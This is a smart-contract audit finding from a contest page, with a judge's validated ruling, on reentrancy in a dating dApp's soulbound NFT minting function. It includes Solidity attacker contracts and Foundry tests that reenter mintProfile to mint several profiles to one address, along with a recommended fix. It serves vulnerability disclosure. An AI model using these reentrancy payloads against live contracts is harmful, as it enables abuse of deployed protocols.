DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile() allows multiple profiles per user.

Root + Impact

The (https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L30) function performs an external call through _safeMint() before updating the protocol's accounting state. Because _safeMint() https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L34 invokes onERC721Received() on contract recipients, a malicious recipient contract can reenter mintProfile() function before profileToToken[msg.sender] https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L38 is updated.
As a result, the attacker can mint multiple profile NFTs despite the protocol enforcing a one-profile-per-address restriction through profileToToken.

Description

The function attempts to enforce a single profile NFT per user:
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L31
However, the state responsible for enforcing this invariant is only updated after _safeMint():
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L33
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L34
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L37
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/878bd34ef6607afe01f280cd5aedf3184fc4ca7b/src/SoulboundProfileNFT.sol#L38
When the recipient is a contract, _safeMint() performs an external call to:
onERC721Received(...)
A malicious recipient can use this callback to invoke mintProfile() again before profileToToken[msg.sender] is updated.
During each reentrant invocation, the following check continues to pass:
require(profileToToken[msg.sender] == 0, "Profile already exists");
because the mapping update has not yet occurred.
This allows multiple profile NFTs to be minted within a single transaction.
// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

Its higly likely, The protocol intends to maintain the invariant:
One address can own only one profile NFT.
An attacker can violate this invariant by recursively minting profiles during the ERC721 receiver callback.

Impact:

Successful exploitation results in:

Multiple profile NFTs being minted to the same address.
Bypass of the protocol's profile uniqueness guarantee.
Inconsistent protocol accounting, where multiple NFTs exist for a single user while only the final token ID remains recorded in profileToToken.
Potential corruption of downstream functionality that assumes a one-to-one relationship between users and profiles.

For example:

Attacker NFT balance: 5
profileToToken[attacker]: 5

while token IDs 1 through 5 have all been minted to the attacker.

The protocol state therefore no longer accurately reflects ownership relationships.

Proof of Concept

Deploy a contract implementing IERC721Receiver.
Call mintProfile() from the malicious contract.
Within onERC721Received(), recursively invoke mintProfile().
Continue reentering until the desired number of profiles has been minted.
Observe that the attacker owns multiple profile NFTs despite the intended one-profile-per-user restriction
contract attackMint is IERC721Receiver{
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
if (count < 4) {
count++;
_soulboundNFT.mintProfile(
"James",
30,
"ipfs://profile"
);
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract SoulboundProfileNFTTest is Test {
function test_attack_mint() public {
uint256 origBal = soulboundNFT.balanceOf(address(attackmint));
vm.startPrank(address(attackmint));
soulboundNFT.mintProfile("James", 30, "ipfs://profileImage");
vm.stopPrank();
uint256 FinalBal = soulboundNFT.balanceOf(address(attackmint));
assertGt(FinalBal, origBal);
}
}

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by updating protocol state before performing the external call:
_safeMint(msg.sender, tokenId); - remove this code
_profiles[tokenId] = Profile(name, age, profileImage); - remove this code
profileToToken[msg.sender] = tokenId; - remove this code
uint256 tokenId = ++_nextTokenId; + add this code
profileToToken[msg.sender] = tokenId; + add this code
_profiles[tokenId] = Profile(name, age, profileImage); + add this code
_safeMint(msg.sender, tokenId); + add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!